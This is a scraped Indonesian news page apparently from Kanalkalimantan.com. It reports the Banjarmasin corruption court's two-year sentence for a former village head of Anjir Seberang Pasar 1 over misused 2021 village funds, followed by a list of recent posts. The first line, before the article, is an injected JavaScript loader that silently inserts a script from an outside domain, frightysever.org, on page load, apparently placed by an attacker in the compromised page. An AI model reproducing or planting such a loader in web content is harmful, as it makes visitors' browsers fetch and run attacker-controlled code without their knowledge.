(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Mantan Pembakal Anjir Seberang 1 Pasar Diganjar 2 Tahun Penjara


KANALKALIMANTAN.COM, BANJARMASIN – Mantan Kepala Desa (Kades) Anjir Seberang Pasar 1, Kecamatan Anjir, Kabupaten Barito Kuala (Batola), Kalimantan Selatan harus mempertanggungjawabkan perbuatannya akibat menyalahgunakan anggaran dana desa.

Pembakal (Kades) periode 2021-2027 ini divonis bersalah oleh majelis hakim Pengadilan Tindak Pidana Korupsi (Tipikor) Banjarmasin karena terbukti melakukan korupsi APBDes tahun anggaran 2021 senilai ratusan juta rupiah.

Majelis Hakim memvonis bersalah dengan hukuman 2 tahun penjara dan denda Rp 50 juta subsider 4 bulan kurungan penjara.

Terdakwa Muhammad Noor juga dikenakan pidana tambahan membayar uang pengganti kerugian negara sebesar Rp190.580.160 yang pembayarannya harus dilakukan paling lama 1 bulan setelah putusan berkekuatan hukum tetap (inkrah).

Baca juga: Pelatih-Pemain Bintang Barito Putera Jumpa Pendukung di Blas Festival 2023

“Dalam hal terdakwa tidak dapat membayar maka hartanya dapat disita jaksa dan dilelang untuk menutupi uang pengganti, apabila hartanya tidak cukup membayar uang pengganti maka diganti dengan 1 tahun penjara,” putus Ketua Majelis Hakim Fidiawan Satriantoro, Rabu (24/8/2023).

Putusan tersebut lebih ringan dari tuntutan JPU yang sebelumnya menuntut bersalah dengan hukuman 3 tahun penjara dan denda Rp100 juta subsider 6 bulan penjara.

Sedangkan untuk beban uang pengganti yang diputus majelis hakim sama beratnya dengan yang dituntut oleh JPU yaitu senilai Rp190 juta, hanya subsider uang pengganti lebih ringan 6 bulan.

Dalam putusan tersebut juga disebut jika uang senilai Rp4 juta yang pernah kembalikan terdakwa ke Inspektorat Batola akan diperhitungkan sebagai uang pengganti kerugian negara.

Baca juga: Tiba-tiba Mundur dari Senayan, Rifqi Lirik Kursi Kalsel 1

Muhammad Noor sendiri menjabat sebagai Kades Anjir Pasar Seberang 1 periode 2021-2027.

Dalam dakwaan terungkap anggaran APBDes 2021 terdapat selisih minus atau kekurangan anggaran sebesar Rp67.675.666 dikarenakan penggunaan anggaran oleh terdakwa tidak dikelola dan digunakan sesuai peruntukannya untuk kepentingan pribadinya.

Dengan adanya selisih minus anggaran tersebut, perangkat desa disebutkan kesulitan untuk membuat laporan pertanggungjawaban keuangan dan banyaknya dana BLT (Bantuan Langsung Tunai) tidak disalurkan kepada warga yang berhak.

Baca juga: Api Muncul Lahap Belukar di Tungkaran Martapura

Berdasarkan hasil pemeriksaan Tim Inspektorat Kabupaten Batola Nomor: 700/008/LHP.RIKSUS-PEMDES/ANJ.PASAR/INSPT tanggal 17 Januari 2023, tentang Laporan Hasil Perhitungan Keuangan Negara pada Desa Anjir Seberang Pasar Kecamatan Anjir Pasar dari Inspektorat Kabupaten Batola diperoleh kesimpulan terdapat kerugian negara atau daerah sebesar Rp190.580.160.

Adapun rinciannya dalam dakwaan JPU sebelumnya yaitu, penggunaan dana silpa senilai Rp153.993.500 yang tidak dapat dipertanggungjwabkan, lalu untuk pembayaran BLT yang terutang bulan Oktober dan Nopember 2021 seluruhnya senilai Rp7.800.000.

Kemudian untuk pembayaran BLT yang terutang bulan Nopember seluruhnya senilai Rp900.000. Serta kelebihan pembayaran material setidaknya senilai Rp27.886.660.

Baca juga: Lagi, PAM Bandarmasih Hentikan Pasokan Air, Ini Wilayahnya

Usai pembacaan putusan, terdakwa tanpa pikir-pikir mengatakannya langsung menerima putusan 2 tahun penjara dan uang pengganti Rp190 juta yang dibebankan kepadanya.

“Terima aja Bu ai,” ucap terdakwa Muhammad Noor saat konsultasi dengan penasehat hukumnya.
Sementara itu, JPU dari Kejari Batola mengatakan masih pikir-pikir terhadap putusan majelis hakim yang 1 tahun lebih ringan dari tuntutan tersebut. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.